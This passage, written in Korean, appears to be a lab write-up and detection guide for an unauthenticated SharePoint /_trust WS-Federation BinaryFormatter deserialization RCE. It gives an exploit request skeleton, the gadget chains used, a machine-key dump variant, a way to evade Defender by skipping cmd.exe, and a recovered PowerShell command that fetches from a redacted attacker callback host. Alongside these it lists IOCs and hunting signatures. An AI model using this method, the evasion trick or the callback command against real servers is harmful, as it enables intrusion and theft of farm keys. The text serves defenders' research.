PoC, IOCs, 그리고 SharePoint /_trust WS-Federation BinaryFormatter 역직렬화 체인에 대한 탐지 로직입니다. 인증되지 않은 RCE, 프로세스 내 머신 키 탈취, 그리고 각 변종이 남기는 아티팩트를 다루는 랩 재구성입니다. SharePoint 2016, 2019, Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust WS-Federation 역직렬화: PoC 및 탐지 노트라이브 문서(GitHub Pages): https://sp-poc.wismansec.com/ (이 문서의 HTML 렌더링).
영향 대상: SharePoint Server 2016, 2019 및 Subscription Edition.
격리된 랩에서 SharePoint Server(Subscription Edition) 침해 사고를 재구성한 것으로, (a) 공격자의 전체 역량을 이해하고, (b) 방어자가 무엇을 사냥해야 하는지(스텔스 지속성 포함) 파악하며, (c) 다른 조사자들을 돕기 위한 PoC를 공유하기 위해 작성되었습니다.
승인된 연구에 한함. 여기의 모든 작업은 테스트를 위해 의도적으로 패치를 적용하지 않은 빌드를 대상으로, 격리된 개인 소유 랩 하드웨어와 계정에서 수행되었습니다. 근본적인 문제는 공급업체에 의해 수정되었으므로 최신 업데이트를 적용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오. 머신 키 값, 내부 호스트명/IP, 콜백 도메인은 본문과 예제 아티팩트에서 삭제(redacted)되었습니다. SIEM 스크린샷은 수정되지 않았으며 랩의 실제 이름을 담고 있습니다. §4의 주석을 참조하십시오.
/_trust SecurityContextToken BinaryFormatter 역직렬화 계열SecurityContextToken을 담은 단일 인증 없는 POST /_trust/default.aspx(WS-Federation 로그인) 요청이 SharePoint 작업자 프로세스(w3wp.exe)에서 BinaryFormatter 역직렬화를 유발하여 웹 앱 풀 ID로 원격 코드 실행(RCE)을 발생시킵니다./_trust에 대한 AMSI 요청 본문 스캔을 활성화하면 탐지 및 차단됩니다. §5 참조). 이러한 키를 통해 공격자는 패치 후에도 유효한 __VIEWSTATE/인증 토큰을 위조할 수 있습니다./_trust 요청 시그니처를 사냥하십시오.SharePoint는 /_trust/default.aspx에 WS-Federation 수동 로그인 엔드포인트를 노출합니다. 조작된 로그인 응답(wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>)에는 <Cookie> 요소가 base64, DEFLATE 압축된 BinaryFormatter 스트림인 SecurityContextToken이 포함됩니다. 서버 측에서 이 쿠키는 압축 해제된 후 타입 제한 없이 역직렬화되므로, 가젯 체인(ysoserial.net 경유)이 w3wp.exe 내부에서 공격자가 제어하는 코드를 실행합니다.
요청 골격(인증 없음):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
| 체인 | 가젯 | 효과 | 출력 채널 |
|---|---|---|---|
| OOB RCE | TypeConfuseDelegate → -EncodedCommand PowerShell | 풀 ID로 코드 실행 | 대역 외(HTTP/DNS 비콘) |
| 머신 키 유출 | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile(KeyDump.cs를 프로세스 내에서 컴파일) | ValidationKey/DecryptionKey 덤프 | HTTP 응답에 인라인으로 포함 |
scripts/의 스크립트(삭제 처리됨): 파라미터화된 OOB RCE와 2단계 키 덤프. 페이로드 전달에는 PowerShell -EncodedCommand를 사용하므로 다중 명령문 페이로드가 cmd.exe/전송 계층을 통과하는 동안 그대로 유지됩니다(;/&& 따옴표 깨짐 없음).
단일 SharePoint SE 팜(수정 전 빌드 고정), 앱 풀 ID LAB\sp_pool, PowerShell 5.1, 클라우드 보호가 켜진 Microsoft Defender. 텔레메트리(Windows 이벤트 로그, SharePoint 로그, Defender for Endpoint)는 경량 오픈소스 SIEM인 nano로 전송되었습니다. 공격자 호스트는 ysoserial.net을 실행했고, interactsh 클라이언트가 OOB 리스너 역할을 했습니다. 주소와 도메인은 본문에서 삭제되었습니다. §4의 스크린샷 주석을 참조하십시오.
각 행은 실제 폭파(detonation) 1건이며, 아티팩트는 실행별로 SIEM + OOB 리스너에서 수집되었습니다.
스크린샷은 수정되지 않았습니다. 스크린샷에는 랩의 실제 호스트 및 NetBIOS 이름이 담겨 있으며, 이 이름들은 본문 전체에서 사용된 삭제 처리된
SHAREPOINT01/LAB과 달리 다듬어지지 않은(raw) 것입니다. 동일한 실행, 동일한 이벤트이며 조작된 것은 없습니다. 업무에 안전한 버전은artifacts/에 있습니다.
| 호출 방식 | 프로세스 트리(LAB\sp_pool, High 권한) | Defender | OOB 비콘 | 주요 아티팩트 |
|---|---|---|---|---|
| OOB RCE, 기본(default) | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A(EID 1116 탐지 / 1117 제거) | 도달(race) | 4688 트리, Defender 1116/1117, /_trust POST |
OOB RCE, -RawCmd | w3wp.exe → powershell.exe → conhost.exe(cmd 없음) | 없음 | 도달(DNS+HTTP) | 4688 트리, /_trust POST, 비콘 |
OOB RCE, -DropFile | w3wp.exe → powershell.exe | 없음 | 도달 | …\TEMPLATE\LAYOUTS\에 파일 쓰기(개체 액세스 감사 로그에는 없음) |
OOB RCE, -Diag | w3wp.exe → powershell.exe → whoami.exe | 없음 | 도달 | 환경 정보 유출: {host, whoami, PSver, LanguageMode} |
| 머신 키 덤프 | (없음, 프로세스 내부) | 없음 | (없음) | /_trust POST + 키를 담은 비정상 응답뿐 |
이 결과는 기본 AMSI 구성(Balanced 모드, /_trust 미스캔)을 기준으로 한 것입니다. /_trust에 대한 AMSI 요청 본문 스캔을 활성화하면(Full 모드 또는 대상 지정), 모든 행이 대신 요청 계층에서 차단됩니다. 실행 전에 HTTP 400, Exploit:Script/SpCookieExec.A가 발생합니다(§5 참조).

문서화된 4건의 폭파 전체(15:01~15:18 UTC)에서 w3wp.exe의 모든 자식 프로세스가 풀 ID로 실행되었습니다. 4건 중 3건은 powershell.exe가 직접 생성되었습니다. cmd.exe를 경유한 것은 15:03:34 실행뿐이며, 탐지된 것도 이 실행뿐입니다. 이 창을 넘어 더 넓히면 같은 오전의 이전 개발 반복도 결과 집합에 포함되므로, 이 주장은 이 4건에 한정됩니다.

기본 호출: w3wp.exe → cmd.exe → powershell.exe, conhost.exe가 함께 실행됩니다. Behavior:Win32/WebshellLauncher.A가 주목하는 형태가 바로 이것입니다.

-RawCmd 호출로, 동일한 프리미티브와 동일한 페이로드에서 cmd.exe 경유 단계만 제거된 것입니다. 이 실행에 대해 Defender는 아무것도 탐지하지 못했습니다. w3wp → cmd에 기반한 탐지는 이를 완전히 놓칩니다.

4건의 폭파가 있었던 동일한 25분 창에서 발생한 모든 Defender 이벤트입니다. 3건 모두 단일 cmd.exe 실행에 속합니다. Severe 등급의 malware_detected 2건과 action Remove의 malware_action_taken 1건입니다. 수정 조치가 비콘보다 빨리 이루어지지는 않았으며, 비콘이 먼저 완료되었습니다.
Security 4688에서 그대로 복구된 핵심 명령줄(인코딩 ≠ 회피):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

SIEM에 나타난 인코딩된 명령줄입니다. 이는 UTF-16LE의 base64일 뿐이며, base64 -d | iconv -f utf-16le -t utf-8 한 단계로 콜백을 복구할 수 있습니다. 인코딩은 난독화가 아닙니다.
아래 두 프레임은 팜 머신 키가 탈취된 동일한 90초 창을 다룹니다.

필터를 적용하지 않으면 이 창에는 20개의 이벤트가 있습니다. 호스트는 살아 있으며 텔레메트리를 전송 중입니다.

w3wp.exe의 자식 프로세스로 필터링하면 동일한 창이 비어 있습니다. 프로세스도, Defender 이벤트도, 비콘도 없습니다. 키는 HTTP 응답을 통해 유출되었으며, 호스트 측 아티팩트는 이 SIEM이 수집하지 않던 /_trust 요청 자체가 유일했습니다. 패치는 탈취된 키를 무효화하지 않습니다. 키를 교체하십시오.
OOB 리스너에서 포착된 -Diag 정보 유출(URL 디코딩됨):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
모든 변종에 존재하는 유일한 시그니처. 먼저 이것부터 사냥하십시오:
wa=wsignin1.0이 있고 RequestSecurityTokenResponse + SecurityContextToken/<Cookie>를 포함한 wresult가 있는 POST /_trust/default.aspx. 인증이 없으며, 종종 비정상적인 User-Agent가 동반됩니다. 응답 상태 기준: 이 엔드포인트에 대한 정상적인 WS-Federation 로그인 트래픽은 대부분 HTTP 302입니다. 익스플로잇은 다른 상태(200, 500, 연결 리셋, AMSI 차단 시 400)를 반환합니다. 엔드포인트에 실제 로그인 볼륨이 있는 경우 POST /_trust/default.aspx에 대한 302가 아닌 응답을 비정상으로 취급하십시오. 상태 코드만으로 익스플로잇 성공을 확인할 수는 없습니다. 성공한 실행은 200과 리셋을 모두 반환했습니다.프로세스 기반(RCE 변종에만 해당):